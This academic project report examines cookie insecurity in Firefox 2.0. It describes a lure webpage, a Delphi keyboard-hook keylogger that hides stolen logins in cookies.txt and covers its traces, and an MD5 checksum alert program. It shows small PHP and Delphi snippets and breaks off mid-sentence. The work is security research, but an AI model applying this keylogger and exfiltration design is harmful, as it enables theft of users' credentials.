Securing Sensitive Information in Cookies

GRADUATE PROJECT REPORT

Submitted to the Faculty of
the Department of Computing Sciences
Texas A&M University – Corpus Christi
Corpus Christi, Texas

in Final Fulfillment of the Requirements for the Degree of
Master of Science in Computer Science

by

Randy R. DeLeon
Spring 2007

Committee Members

Dr. Dulal Kar
Committee Chairperson

Dr. Mario Garcia
Committee Member

Dr. Ahmed Mahdy
Committee Member
ABSTRACT

Security has become a main focal point in the computer forensics and scientific field. Both at the organization level and at the home level, security in regards to private information being stored in the cookie files that Internet browsers use has not been focused upon as much as it should be. The file “cookies.txt” found locally on a user’s system can be accessed by any program, even though its main use is for Internet browsers. Herein lies the problem with securing the concept and contents of cookies: there is none.

Cookies should be handled with safety and security because such strings of information can hold a vast amount of sensitive knowledge for malicious Websites to take use of, alongside working with malicious programs. In the end, it is shown that such mishaps can occur with a medium sense of difficulty involved. A knowledgeable computer programmer can take the first steps at becoming an identity thief, or much less commit common credit card fraud as a result of a cookie’s lack of security. Here, a malicious Webpage is built that does three main objectives: create a basic cookie to keep a sense of personalization available, provide a link to download a malicious program, and allow the line of information for the Websites cookie to be manipulated by the malicious program. Overall, this provides the basic truth that cookie files are susceptible to espionage and identity theft, even if the concept of cookies seems innocent.

Even with the risk that cookie security is little to non-existent, there are simple methods that defend against such mishaps via alert messaging. A simple file content check is run every time an Internet browser starts and shuts down via an MD5 checksum comparison. This helps the user become aware of any changes done to the cookie file.
Cookie security and handling issues need to be reexamined, since the ease of manipulation for such a file results in direct access of stolen information via a malicious program that captures key strokes. Using Mozilla Firefox 2.0.0.2 as a target Web-browser, the lack of security with cookies is shown. Yet, an alert sequence or notification for users is a simple barrier that prevents such information to be stolen in the long run. The malicious Webpage, working alongside a malicious program, can capture anything targeted by a hacker; however, simple methods also help notify a computer user of suspicious activity to aid in protecting information.
# TABLE OF CONTENTS

Abstract ........................................................................................................... ii

Table of Contents .......................................................................................... iv

List of Figures ............................................................................................... vi

1. Background and Rationale ......................................................................... 1
   1.1 Introduction ......................................................................................... 2
   1.2 Basic Overview ................................................................................... 3
   1.3 Updates of Basic Overview ................................................................. 4

2. Cookie Security ......................................................................................... 10
   2.1 Problem Description ........................................................................... 10
   2.2 Cookie Handling ............................................................................... 11
      2.2.1 Mozilla Firefox Handling ............................................................ 11
   2.3 Properties of Cookie Misuse ............................................................... 12

3. System Design ......................................................................................... 14
   3.1 Environment ..................................................................................... 14
   3.2 Attacking Scheme ............................................................................. 15
   3.3 Defending Scheme ........................................................................... 17

4. Testing and Evaluation ........................................................................... 21
   4.1 Testing the Webpage ......................................................................... 21
   4.2 Testing the Malicious Program ......................................................... 22
   4.3 Testing the Defending Program ......................................................... 24

5. Results and Conclusion .......................................................................... 26
   5.1 Malicious Webpage ........................................................................... 28
LIST OF FIGURES

Figure 1.1. Initial Website Visit of Malicious Webpage ........................................ 5
Figure 1.2. Second Website Visit of Malicious Webpage ........................................ 6
Figure 1.3. Sample view of malicious program ...................................................... 7
Figure 1.4. Alert Program View ............................................................................ 9
Figure 2.1. Cookie File Misuse ........................................................................... 12
Figure 3.1. PHP Cookie Set .............................................................................. 15
Figure 3.2. PHP Cookie Retrieval ................................................................. 16
Figure 3.3. Flow-Chart of Malicious Program ..................................................... 17
Figure 3.4. Flow-Chart of Defending Scheme ........................................................ 18
Figure 3.5. Malicious Website and Program Diagram ........................................ 19
Figure 3.6. System Diagram with Defending Program .......................................... 20
Figure 4.1. Mozilla Firefox Cookie File ............................................................... 22
Figure 4.2. Borland Delphi TForm.List LoadFile Example ............................... 23
Figure 5.1. Mozilla Firefox 2.0.0.2 Privacy Settings ............................................ 29
Figure 5.2. PHP Code Check for Cookie .............................................................. 30
Figure 5.3. Delphi Code to Insert Startup Command in Registry ....................... 33
Figure 5.4. Hook StartLL Code ........................................................................ 34
Figure 5.5. Real-Time Keystroke Capture Code .................................................. 35
Figure 5.6. Basic Flow-Chart for Malicious Program/Computer User Interaction .... 36
Figure 5.7. FindCookieLine Code .................................................................. 38
1. BACKGROUND AND RATIONALE

Cookie security and malicious Webpages that take advantage of cookie files have just recently been brought into light for computer users. Research in regards to cookie security and identity theft is just blossoming in the academic fields and security industry [Chou 2006]. Using a cookie file to steal user information has just become a recent problem within the past 3 to 5 years. Even though this may seem long enough to have already discovered a solution, the problem has only grown and multiplied as technology and Internet speeds continue to become faster and more efficient.

Recently the idea on how sensitive information could be stolen via a hacking program has come into light. A malicious program, distributed by a seemingly trust-worthy site, could steal information typed in via a keyboard and save the information into a cookie file that the seemingly trust-worthy Website creates on a local machine.

This type of attack is seen in other areas of computing, especially since the turn of the century. Spoofing and phishing attacks are, in concept, something related to the idea of cookies being used to steal information. With E-mail phishing, users are fooled into trusting that the E-mail they have received is valid and truthful in its content. As a result, the user may fall prey to the phishing E-mail. The user in turn is taken to a malicious Website which is a spoof of a valid and trusted commercial Website (usually). The user then becomes a victim by filling out sensitive information on forms that may request a username and password combination, or even more detailed information like one’s address, city, state, social security number, and other information.
With cases like this already occurring, it is a wonder that cookie security along-side identity theft is just now being researched by several large schools (Stanford, Harvard, and MIT) [Chou, Dhamija, Jackson, Wu 2006].

1.1 Introduction

Even with today's two main competing browsers, Internet Explorer and Mozilla Firefox (along side a close third for Apple's Safari), the handling of cookies varies from program to program. As a result, we do not have a consistent stride when it comes to cookie security and insuring that our preferences from Websites are the only thing saved within cookies. Both Internet Explorer and Firefox do not block third-party cookies completely, and as a result, we already are seeing a lack of trust in protection with browsers and their states [Jackson 2006]. In Internet browsers, the option to block third-party cookies deals with the comparison of the top-level frame domain and the cookie’s creator. If the top-level frame domain does not match the cookie’s creator the cookie is not accepted based on certain rules. However, as we analyze the rules of Internet Explorer versus Mozilla Firefox, we see that neither checks the top-level frame domain during the time of creating/setting the cookie and the time it is read [Jackson 2006].

A quick run-down to show how both browsers differ comes with visiting a fictional Website of www.thisisatestforcookies.com. Internet Explorer allows all sites that have embedded content from the example URL to read the original cookie and track a user. However, with Mozilla Firefox, once again the browser allows www.thisisatestforcookies.com to set a cookie as well as every other Website that may be visited which can be directly read by www.thisisatestforcookies.com [Jackson
2006]. We see here that even with our distinct manual selection of blocking third-party cookies, they still have a chance to get into our systems and find a way to embed themselves into our directories.

The previously mentioned was just one slip of security that cookies are susceptible to. In response, one particular method shows how to circumvent any security that a Website attempts to use during a log-in process. The method uses a coupling of a malicious Website and a malicious keystroke capture program to accomplish this task. However, the third part of the experiment also involves a basic user notification/alert system to help establish some form of control for cookies.

1.2 Basic Overview

The conceptual basic overview as initially proposed to happen involved the creation of a malicious Webpage written in PHP/HTML. This Webpage would instill a false-sense of security with the visitor, attempting to create a sense of trust between the Website and user. The assumption here was that the visitor would trust the Webpage enough to download software from the Website. Using that sense of trust gained, it is then assumed that the user would execute the downloaded package. This is where the problem really would take off. The executable would be installed via the installer package, and a registry entry would be placed upon the system to instantiate the malicious program every time a computer is booted or restarted. The purpose of the malicious program, which was proposed to be written in Java, was to capture log-in sequences when dealing with username and password text boxes on Websites. This captured information would then be indiscreetly stored within the cookie file for the malicious Website. Such information would lay dormant on a system until the malicious
Webpage was revisited. Afterwards, the stolen information would be written over leaving no evidence within the cookie file.

On the other side of the fence, it was proposed that a defending program be built as well. Initially this idea involved the creation of a Web-browser extension, since it would be instantiated every time a Web-browser would be started. The extension was to use the idea of a permission rule-set to allow a Website to have access to a cookie file, or even create one. The permissions suggested were:

1) a cookie cannot be accessed unless the program is an Internet browser,

2) the domain and/or IP address of the request has to match that of the original Website that created the cookie,

3) cookie manipulation would only be allowed if rules 1 and 2 are met.

This would prevent a 3rd party malicious program (such as the theorized Java code) from stripping the sensitive information from a user and storing it into a cookie for future reading and usage.

1.3 Updates of Basic Overview

Even with the proposed idea laid out and planned, during the process of creating this project several steps and instance had to be changed and/or re-thought. It is here that such changes are introduced; however each change is described in more detail in later sections.

As of current, the malicious Webpage has stayed true to the proposed process of creation. The Webpage, which was written in HTML/PHP, does work as initially planned. Some research had to be done in PHP in regards to cookies and the exchanging process of each. Initially, the Webpage was designed as a simple "Welcome Home" Website. The Webpage quickly matured into one that created a default cookie file, read
the cookie file and manipulated it upon secondary visitation to the page. Upon visiting
the malicious Webpage a cookie is instantly stored upon a user’s system. Assuming that a
user is working with Mozilla Firefox version 2.0.0.2 or older, the cookie is placed upon
the system and stored only to help keep the visage that personal configuration
information for the Website alone is stored within it. The Website then merely sits and
waits for a user to revisit, hoping that the cookie file has new information within to strip.
In Figure 1.1, we can see the basic generalized view of what a user sees when visiting the
malicious test Website for the first time.

![Initial Website Visit of Malicious Webpage](image)

**Figure 1.1 – Initial Website Visit of Malicious Webpage**

At the top of Figure 1.1, the text “Cookie is now set!” and “Connected to MySQL” shows
how the Website has implemented the default cookie onto the user’s system at first
visitation. Also, it checks to see if the user’s IP address is stored already on the local
database. In Figure 1.2, a second visit to the Website shows a different picture on the
Webpage to symbolize the affect of identifying with a user’s personal settings. While
also, Figure 1.2 shows how the MySQL database finds a duplicate entry involving the visitor’s IP address.

![Second Website Visit of Malicious Webpage](image)

**Figure 1.2 – Second Website Visit of Malicious Webpage**

Continuing, there was a major redesign in regards for the malicious program.

Initially, as described earlier, the malicious program was to be written in Java. However, several problems arose with that concept:

- Java, being a virtual machine run software/program, was unable to successfully keep a hold on the keyboard hook
- Keyboard hooks can only be instantiated while the Java program has focus.
- Keeping a Java program to run constantly on a system in a stealth sense was difficult to accomplish.
As a result, changes were done in regards to the approach of this milestone. The language of the program was changed from Java to Borland Delphi, a Pascal based language. Reasons for this included ranging from proof that low-level coding can be successfully done in a Windows environment, to success in establishing a system wide hook accomplished via DLL support, and finally the concept that executable files can be masked easier and hidden from regular users. Figure 1.3 shows the example view of the malicious program that captures keyboard input.

![Keyboard Hook](image)

Figure 1.3 – Sample view of malicious program

A system hook, within Windows Operating System, is a mechanism in which a function can intercept events such as messages, mouse actions, or keyboard actions before they reach an application. The function can change the message, examine the message, or simply allow it to continue all depending on the functions purpose [Marsh 1996]. In this case a keyboard hook was established to examine and store captured keystrokes that matched certain string patterns via the malicious program's code. In order for the system
and hook to maintain and access filter functions that involve the hook, these following functions must be used: SetWindowsHookEx and UnhookWindowsHookEx. These are built in Operating System functions on the kernel level that utilize hooks within the system. To process, modify, or even remove keyboard events the parameter of \textit{WH_KEYBOARD} is a necessity. This helps to determine within the system that a keyboard hook is being used.

Finally, the concept of milestone three involved a complete defense against such malicious software taking advantage of the cookie file. In the end, this particular task in culmination with milestone two (the malicious program) proved to be rather difficult to design, code, and establish in working order. As a result of lack of time, and experience, this particular milestone went from a defensive stratagem to an alert method alone. More importantly, since milestone two involved such low-level coding, the idea and concept of a Mozilla Firefox extension seemed almost unable to work or compete with such low-level code. As a result, the language was changed and direction was changed to that of a Borland Delphi executable, once again. It is here, though, that the program does alert a user of changes done to the cookie file. By using an MD5 checksum any changes done to the cookie file are instantly recognized every time that Mozilla Firefox is shutdown. In Figure 1.4, the example program for milestone three is shown. In the top portion of Figure 1.4, it is shown how the cookie file is found, and an MD5 checksum is created to help store that version of the cookie file as the restore point.
Figure 1.4 – Alert Program View

This helps the program to identify the original version of the cookie file, and utilize the MD5 checksum as a comparison tool to help alleviate illegitimate changes to a cookie file for future development. The approach also helps in assisting if a user wishes to revert back to the original cookie file, before the changes were made.
2. COOKIE SECURITY

In the initial proposal for the project both Internet Explorer and Mozilla Firefox were targeted. However, due to time restrictions, problems, and levels of experience Mozilla Firefox was chosen as the sole target. Ease of adding extensions to Mozilla Firefox outweighs those of Internet Explorer [Adams 2006], [Hamiter 2004], [Rundle 2005]. However, as already mentioned Internet Explorer was not focused due to lack of time.

2.1 Problem Description

It has been shown through several studies done throughout a number of trials that the number one item on a common user’s mind is not security, nor is it the assurance that one’s data and information is thoroughly protected [Chou, Dhamija 2006]. A computer user, who lacks the knowledge of the importance of securing data on a computer and identity, is a prime target for identity theft in a hacker’s point-of-view. Lately, identity theft has been publicized a lot in the news and media; however, it mostly has been linked with E-mail phishing and spoofed Website tactics. It is true that these attacks are a direct example of identity theft, but there are more subtle ways to steal someone’s identity and information.

Since there is a lack of importance in terms of security from the eyes of regular day-to-day users of computers, it is horribly clear that the missing component for having a secure Internet is education [Dhamija 2006]. People fail to pay attention to security warnings, or much less obvious visible signs that they are not in a secure environment (i.e. “https” to indicate a secure Website, URL Address checking for accuracy, and other factors alongside these). As a result, some additional guidance is
done for such users whose main goals on the Internet solely involve completing their task at hand. This project, in theory, creates an alert system that should notice any change of the cookie in the Web-browser’s directory.

2.2 Cookie Handling

In the article [Jackson 2006], it was noted how cookies are handled within Mozilla Firefox. When it comes to third-party cookie handling, the initial code of Mozilla Firefox reacts differently with particular rule-sets. The browser uses the technique of checking the domain of the top-level browser frame (or URL address) to insure that a site is legitimate and allows access to cookies. In both cases, neither browser really check the URL address (top-level frame domain) at both the time a cookie is set, much less the time it is read or written to.

2.2.1 Mozilla Firefox Handling

There is a notable difference when it comes to Mozilla Firefox’s method of dealing with third-party cookies. In the example, if the Website www.thisisatest.com is visited, Firefox allows a cookie to be set (using the default settings). However, Mozilla Firefox would also allow a cookie to be set from each site one was to visit that has www.thisisatest.com embedded content. However, only by directly visiting www.thisisatest.com could the cookies be read. Only the originating domain is allowed to view the cookies placed on your system. This is used to track where particular users have been to, and what their interests probably are. In Figure 2.1, we can see a generalized representation on how a cookie file is stored and accessed on a system and even how the cookie file is not secure.
2.3 Properties of Cookie Misuse

Cookies are used throughout the entire business of the Internet to help sell information to marketing companies. This information would lead towards a more persistent pushing of spam and other junk mail to occur more frequently. Cookies can track where a user has been, the last time they were there, and even what search strings were used for particular search engines. To further clarify on what exactly happens, a cookie is basically a unique identifier that describes to a Website who a person is. If a user does not tell a Website an actual name, more than that information is already known to someone, somewhere as a result of the cookies already on the user's system. Basically, once an identity is known to one organization, as a result of these cookies, that same information may be able to be retrieved by other Websites. This information could then be sold to mail-order companies, junk-mail companies, and the like either for additional server space, discounts, or even monetary profit.
Cookies are a powerful tool for many malicious users to recognize and use for their own advantage. As a result, it is proven in this demonstration that cookies can be utilized to store stolen information, which can be later accessed by malicious Websites for identity theft or worse. However, a simple alert system can and does give notification whenever Mozilla Firefox’s cookie has been changed. Notification is the first key for defense in regards to misleadingly using cookies for alternative motives.
3. SYSTEM DESIGN

As described in earlier sections, the project consists of three (3) milestones: a malicious Website, a malicious global keyhook program that steals information and stores it within a cookie, and an alert system that notifies a user of any changes done to a cookie file. The entire design depends on the functionality and vulnerability of Mozilla Firefox. Internet Explorer was not touched even though the initial proposed idea involved the Web-browser. This was due to lack of time and experience to work within the time constraints for two different Web-browsers.

Mozilla Firefox is only a 10-12% share of the browser market in the U.S.A.; however, it is the ease of use for extensions that makes this browser so appealing to many [Adams 2006] [Mielczarek 2006]. As a result of this growing population, developers all across the country and world have been creating extensions/add-ons for Mozilla Firefox. Why? Not just because of the popularity and the abhorrence of Internet Explorer by a few, but because of the previously mentioned fact: it is extremely extensible and flexible.

3.1 Environment

Initially, the environment surrounding this entire project was proposed to encompass the languages: JAVA, XML/XUL, CSS, and PHP alongside HTML. However, due to circumstances earlier mentioned, this was not the case. The mixture of so many languages may become a small hassle, since some experience is needed in all of the coding involved. Java itself was unable to perform as initially proposed, and building an extension for Mozilla Firefox no longer seemed relevant towards the idea
of defending the cookie file. Mozilla Firefox is heavily dependant on XML/XUL coding, which cannot compete against such low-level code that was done for the malicious program. The idea that the malicious global keyhook program was to be at such a low-level of code made an extension seem infeasible to counteract such activity. As a result, the same language was used for the malicious program and the alert system put in place: Borland Delphi (Pascal based). The malicious Website was created with PHP and HTML.

3.2 Attacking Scheme

As already mentioned, this particular scheme was developed in two-parts: a malicious Website that reads information from a cookie file, which is rewritten by a malicious program. The rewritten information is stolen information from an unsuspecting user. The first part was particularly simple: build a malicious Webpage that creates a cookie and stores it onto a system. In Figure 3.1, example code shows how a simple cookie can be set on a system using PHP [Achour 2006].

```php
<?php
setcookie("user", "Randy DeLeon", time()+3600);
?>
<html>
<body>
</body>
</html>
```

Figure 3.1 – PHP Cookie Set

When dealing with PHP, certain header information cannot be established before PHP code has been initiated. As a result, since the design of the Webpage involved setting a cookie upon initial visitation, and resetting a cookie after re-visititation certain
errors began to appear as a result of misuse. In general, an attempt to reset the cookie in the middle of the PHP code gave an error. Since resetting the cookie is done after the HTML code and header information has already been exchanged, this gave an error where the cookie would not be reset. As a result, a command solution is used for this problem "ob_start();". This PHP command turns on output buffering, which allows HTML and PHP to hold the output of information except for that of header information being sent. The buffer holds all output information, allowing header information to be sent, changed, removed, or deleted. Once all of the necessary header information is sent and rewritten, the command "ob_end_flush();" can be called to once again reestablish the ability to reset the cookie [PHP 2007].

In Figure 3.2, we can see how a few lines of code can help gather the information stored in the cookie. This was the idea behind using cookies to hold stolen information. The ease of use when reading a cookie file is simply one line of code.

```php
<?php
// Print a cookie
echo $_COOKIE['user'];

// A way to view all cookies
print_r($_COOKIE);
?>
```

Figure 3.2 – PHP Cookie Retrieval

The malicious program was proposed to be written in a JAVA language. However, that was not the case in the end. The malicious program, or milestone two, took a new direction during creation. As mentioned before, the entire language was changed from Java to Borland Delphi. Now, milestone two works using the Pascal based language as a key component towards its success. The decision to switch from Java to Borland Delphi involved how Java's security design concept disallowed Java
to run anywhere near the kernel level of code. This hindered the forward progress of
the experiment since it was unable to establish a keyboard hook even without focus.
The solution turned out to be the use of Borland Delphi, which seems to work well.
Now with the code in place, Borland Delphi allowed low-level coding to be
accomplished to the point where a system wide keyhook could be established via
DLL assistant. In Figure 3.3, we are shown a graphical diagram of how the malicious
program acts in regards to activity and usage on a system. Here we can examine what
the program does, how it handles calling the threads within it and when exactly the
threads are called.

![Malicious Program Start Flow-Chart](image)

Figure 3.3 – Flow-Chart of Malicious Program

3.3 Defending Scheme

The initial proposal for the defending scheme once again involved using a Mozilla
Firefox extension. However, as already explained trying to compete with a malicious
program written in a low-level language did not seem plausible. As a result, Borland Delphi was chosen. As a direct result of the difficulty in creating a global keyhook for Windows XP, time was beginning to run short. A different path was chosen as a result, in hopes to start a valid and solid foundation for a direct attempt at securing cookie files much more efficiently.

MD5, or Message-Digest algorithm 5, is a cryptographic hash function that works with a 128-bit hash value. To explain how MD5 is used as apart of the defending scheme, we can take a look at Figure 3.4. Here, we can see the basic function of the defending scheme, or milestone three.

![Start Defending Scheme](image)

**Figure 3.4 – Flow-chart of Defending Scheme**

In Figure 3.5, we are shown in a basic diagram on how the malicious content of this project would work. Initially a seemingly trustworthy Website gains a user’s interest to where they download some file from the site. After viewing the file, the user is unaware of the malicious code just implemented on the system. Following, the code runs and examines any keystrokes, attempting to match a string captured against
the list of susceptible Websites within the malicious program’s code. Upon filtering out the desired information, the stolen information is then placed in the cookie file under the malicious Website’s own cookie information.

Figure 3.5 – Malicious Website and Program Diagram

Following, the information is then be saved in the cookie file until the user revisits the malicious Website. It is here and then that the Website obtains the information taken and over-writes the cookie file to erase any trace of the stolen information. This is based on the idea that users do not examine their cookie files on a daily basis, or even out of sheer-boredom. As a result, the Website should remain unsuspected of its intrusion on the user’s system while making away with any stolen information to use on their whim.

In Figure 3.6, we can see a generalized system diagram, in regards to the actions of both the attacking aspect and the defending aspect. Figure 3.6 assumes that the
computer in question already has the defending program installed. From the beginning of a Website being visited, to the malicious program trying to write to the cookie, the entire process is described as succinctly as possible to help the reader better understand the project’s overall goals and motivation towards protecting information.

Figure 3.6 – System Diagram with Defending Program
4. TESTING AND EVALUATION

Testing of the project was done in several parts. Each milestone, as it was reached, was tested on its own initially. These tests were done to examine if any bugs or defects were present within the system. Each milestone consisted of: the malicious Website (milestone 1), the malicious global keyhook program (milestone 2), and finally the alert system that recognizes changes in the target cookie file (milestone 3).

4.1 Testing the Webpage

Testing of the malicious Webpage, or milestone 1, involved using computers that used Windows XP Home/Professional as their Operating System. Microsoft’s Windows XP Operating System is considered to be one of the most popular Operating Systems throughout the World. In order to test the Webpage out, several machines visited the Website that utilized Windows XP as their OS. The tests included viewing whether or not the cookie was accepted upon initial visitation. Fortunately for the testing, yet unfortunate for the users, the default cookie was placed upon the system successfully.

In order for the malicious Webpage to successfully create a cookie instance, it is assumed that a user uses the default installation settings. As long as this assumption stays true then the alert box, associated with higher security settings in Mozilla Firefox, is not shown to the user. The prompt is usually found under the Tools section, within Internet Options and usually found under the Privacy tab. By default, the prompt setting is not turned on and for the most part, all cookies from a particular visited Website are automatically accepted. Using this assumption, it was noticed that
many people who used Mozilla Firefox during the test runs were not aware of the
different security settings for cookies. The Webpage’s testing success came as a
direct consequence of users not being educated in security settings.

4.2 Testing the Malicious Program

Testing the malicious program, which is distributed by the malicious Webpage,
began after its completion. Once again, the target Operating System of choice for this
experiment involved using Microsoft Windows XP. Furthermore, it also involved the
use of Mozilla Firefox. Mozilla Firefox’s cookie file is simple in design. In Figure
4.1, we can see a screenshot of a basic cookie file for Mozilla Firefox 2.0.0.2, which
has been cropped down to save some space.

![cookies.txt - WordPad](image)

**Figure 4.1 – Mozilla Firefox Cookie File**

During the initial testing of the milestone 2, several problems were noticed. One
of the first problems came with reading the cookie file. Initially, it was suggested that
reading of the cookie file should be done and not stored into milestone 2’s code.
However, it was deemed to be easier to simply read and store the entire cookie file
within the code itself, using a **TStringList** within Borland Delphi. The **TStringList**
within Delphi is a utility class type. One of the most prominent features of this utility
is how it can read and store a file’s data with a simple function shown in Figure 4.2.
//Necessary files to include
uses SysUtils, Classes;

//Begin LoadFile Function with passed parameter and return value
function LoadFile(const FileName: TFileName): string;
beg
  //Create the TStringList instance
  with TStringList.Create do
    try
      LoadFromFile(FileName);
      Result := Text;
    finally
      Free;
    end;
end;

Figure 4.2 – Borland Delphi TStringList LoadFile Example

Once the problem with how to efficiently save the cookie file contents was solved, the process continued relatively well. However, in order to keep suspicion as low as possible during the testing and actual execution of the program, a stealthier viewpoint needed to be created. Initially, milestone 2 was created to capture sensitive information and immediately write it to the cookie file. It was discovered that at times during the program’s attempt to write to the cookie actually conflicted with Mozilla Firefox’s assumed free-range editing of its own cookie file. In other words, each program tried to compete with one another for file access in a few occasions. In order to alleviate this problem a quick program redesign was necessary. It involved changing the immediate editing of the cookie file by replacing it with a wait and save approach. The stolen sensitive information would be added to the cookie file every time Mozilla Firefox was closed or shutdown. This removed the problem of both programs competing against each other.
4.3 Testing the Defending Program

As already mentioned before, several changes were necessary for milestone 3, the alert program. The initial idea was to create a defensive stratagem that involved encompassing the cookie file in a protective software environment. This environment would have checked access rights via each request sent to access the cookie file. Unfortunately due to time constraints and lack of experience, milestone 3 was changed to become an alert program.

Testing Milestone 3 was once again done on systems that utilized Microsoft Windows XP Home/Professional. A few assumptions were made in order to test out the program, of which will be explained in more detail in section 5. However, a brief list of the assumptions is:

- The user already has the alert program installed on their system
- The user deemed the malicious Webpage worthy enough to visit already, trusted the Website enough to download the malicious program and install it.

The testing for the alert program seemed to be quite successful. The only major problem that occurred during the testing was the creation of the MD5 checksum for the cookie file. Initial program logic created a faulty MD5 checksum for the file once the program began to run. As a result, the code had to be redesigned and fixed. This halted some immediate progress that began with milestone 3, but was rectified in the end. Afterwards, testing continued and the MD5 checksum worked properly. As a result, whenever the malicious program would add a line to the cookie file the checksum for the cookie file would be changed. Unfortunately, this also meant that
when a legitimate change was done to the cookie file, the MD5 checksum still changed from the original in comparison. Even though the testing was a success, it is strongly recommended that for future development this portion of the project is concentrated on. Some suggestions to improve the design would include:

- Hindering the ability to implement a global keyhook on a system
- Encompass the cookie file in a protective program shell, that checks access rights and parent permission access via a secure table
- Hash the cookie file in a secure manner, intercepting all cookie requests done by a Web-browser and examine certain characteristics of the request to grant or deny access.
5. RESULTS AND CONCLUSION

During experimentation and execution, results of hypothesis and proposed linkage of an entire project can change entirely. In this particular experiment that was exactly the case. For the most part, the project overall has followed the ideology of the original idea. There are still 3 main components that carry the basis of the project overall:

- A malicious Webpage has been built using a mixture of HTML alongside PHP.

This particular portion of the project has the following assumptions laid in:

- The user visiting the Webpage is indeed interested in the Websites contents, and is prone to download software from such a Website.
- The user is of basic common-knowledge of computer experience. Such as only being knowledgeable of the Internet, basic computer usage (Word, Excel, Accounting software, etc), and no in-depth understanding of viruses, Trojans, key-loggers, and security issues.

- A malicious third-party global system key-logger is created that establishes interception control of key-strokes, directed string recognition, and a timed control of various flags and storing of intercepted information. This particular portion of the project has the following assumptions:

  - The user visits a designated Webpage (Hotmail, Yahoo!Mail, Bank of America, etc) by entering such URLs into Mozilla Firefox’s without using the Ctrl-L shortcut key.
  - Upon visiting such popular Websites that require log-in information, the user is assumed to navigate between the Username textbox and Password
textbox via a ‘Tap’ button press or a mouse-click into the appropriate location.

- A user’s Internet connection is quick enough to allow a window-of-time of 25 seconds to load the Webpage and enter said information.
- Most importantly, the user is assumed to be working with Mozilla Firefox 2.0.0.2 or earlier which is installed in the basic recommended directory.
- A user is operating a machine running Windows XP Home or Professional Edition SP2 or earlier.

- An alert program is created that establishes an immediate MD5 checksum whenever the program is instantiated. This MD5 checksum encompasses the entire information of the cookie file. Every time the cookie file is changed, the MD5 checksum changes as well. Even though this is not the most effective strategy for notifying a user, it is a start. The foundation for the entire project has already been created, and due to lack of time and experience these changes were necessary.

As work on coding the project began, it became painfully clear that many of the approaches would have to be reanalyzed. Initially, the creation of the malicious Webpage went smoothly and as planned. Secondly, the malicious program had to be readjusted in several ways which will be described later. Third, an alert program was created to notify a user of changes in their cookie file. This was opposed to creating a defending program that prohibits the capability of any other program other than a Web-browser to read or write to the cookie file.
5.1 Malicious Webpage

During the beginning stages of building the Webpage, it was realized that a database should be available for the server to access and store stolen information gathered from a cookie file. As a result, MySQL 5.0 was used as the database.

One of the most important aspects of the malicious Webpage involves how visiting the Website creates a simple entry into the file “cookies.txt”. This cookie file is the template and signature line for the malicious program to find and append sensitive information it has gathered. The most important reason as to why this approach is being done involves how innocent the act of accepting a cookie can be in regards to daily computer usage on the Internet. Users, for the most part, in general leave all the settings in programs that they install on their computers in the default mode. This immediately allows any and all cookies from a Website to be accepted by the visiting machine. In Figure 5.1, we are shown the allowed selections available to a user in Mozilla Firefox 2.0.0.2’s “Tools->Options->Privacy Settings” area.

By default, under the “Cookies” section of Figure 5.1, we can see that there is a checkbox that is designated as “Accept cookies from sites”, which is actually turned on during installation. Secondly, in the “Keep until:” section of Figure 5.1, we can see that there are 3 selections in the drop-menu box. Once again by default, it should be stated that Mozilla Firefox purposefully uses the selection “they expire”. This particular selection of privacy options allows any Website to easily place a cookie on a system with an expiration date set far into the future.
Figure 5.1 – Mozilla Firefox 2.0.0.2 Privacy Settings

As a result of this particular scenario, it was believed and hypothesized in the beginning stages of this experiment that such a loop-hole could provide a multitude of options for a hacker to misuse the cookie file and such laid-back security measures. In Figure 5.2, we can see a basic code generation in PHP that involves a check to see if a cookie is set on the visiting system of the malicious Webpage. If no cookie is found, a basic cookie with routine information (basic username and an IP address) is created. However, a secondary check sees if a visitor does have a cookie present, of which it obtains any additional information and stores it into the MySQL database. Afterwards, it replaces the contents of the cookie file with basic generic information once again.
<?php
if (!isset($_COOKIE['malicious_cookie'])) {
    setcookie('malicious_cookie', $_SERVER['REMOTE_ADDR'], time()+60*60*24*30);
    print("Cookie is now set!\n<BR>");
} else {
    // reset the cookie to look as initial storage information
    if (strcmp($_SERVER['REMOTE_ADDR'] . " <info">", $_COOKIE['malicious_cookie']))
        setcookie('malicious_cookie', $_SERVER['REMOTE_ADDR'], time()+60*60*24*30);
    print("Cookie is rewritten!\n<BR>");
}

Figure 5.2 – PHP Code Check for cookie

In Figure 5.2, we can also see how advantageous the default settings for Mozilla Firefox can be. In both cases of the if-statement, a cookie file is set once again with a time-limit that expires in 30 days. This is the most generic cookie set-up there is in any example involving the setcookie() function. However, just because the cookie limit in this project was kept to 30 days, does not mean that another portion of code could set a cookie to expire in a number of years.

5.2 Malicious Program

This section of the project created some of the most difficult and frustrating work and research overall. To begin, it must be stated that the initial theorized approach to this section had to be reevaluated and changed during the process of coding. Initially, it was stated that this particular section of the project would be written in Java solely. However, as more research was done during the development phase, it was discovered that Java capabilities to read the keyboard input was extremely limited. Even though this hindered the entire section of the project, it must be noted that this hindrance is actually a blessing to anyone worried about Java. Java’s structure is solely based on a virtual machine foundation. A simple Java program can run virtually on any machine on the planet capable of supporting the program. However, as a result of this efficiency towards
portability, Java designers limited the scope of Java’s capabilities of reading keyboard input. Such restrictions sorely limit the reading of keyboard entries when the Java program itself has the entire focus of a system. Otherwise, if a Java program is run in the background of an Operating System, there is no way that allows Java to pick up any keyboard strokes during its execution.

To get around this particular planning problem, a different language was definitely needed. After some time, it was decided that Borland Delphi (which is Pascal based) would be used instead of Java. Reasons behind this decision vary, but for the most part can be listed as so:

- Windows XP system commands would be easier to access when using such a high-level language that is solely created for developing Windows-based programs.
- Borland Delphi is known to be able to create DLL files and implement them into the written code quite easily.
- Borland Delphi is an entirely new language to work with, so the draw to undertake this task was great.

Tackling this particular new language was both exciting and intimidating at the same time. The expansiveness of this project reached a whole new level of responsibility and necessity. As research was done on just how to actually be able to capture keystrokes in a program with or without focus, Delphi Borland and Visual Basic languages continued to come up. Initial readings and tutorials suggested that a keyhook should be used in order to capture keyboard strokes throughout the entire system. As further research continued, it was discovered that there are two types of keyhooks: local
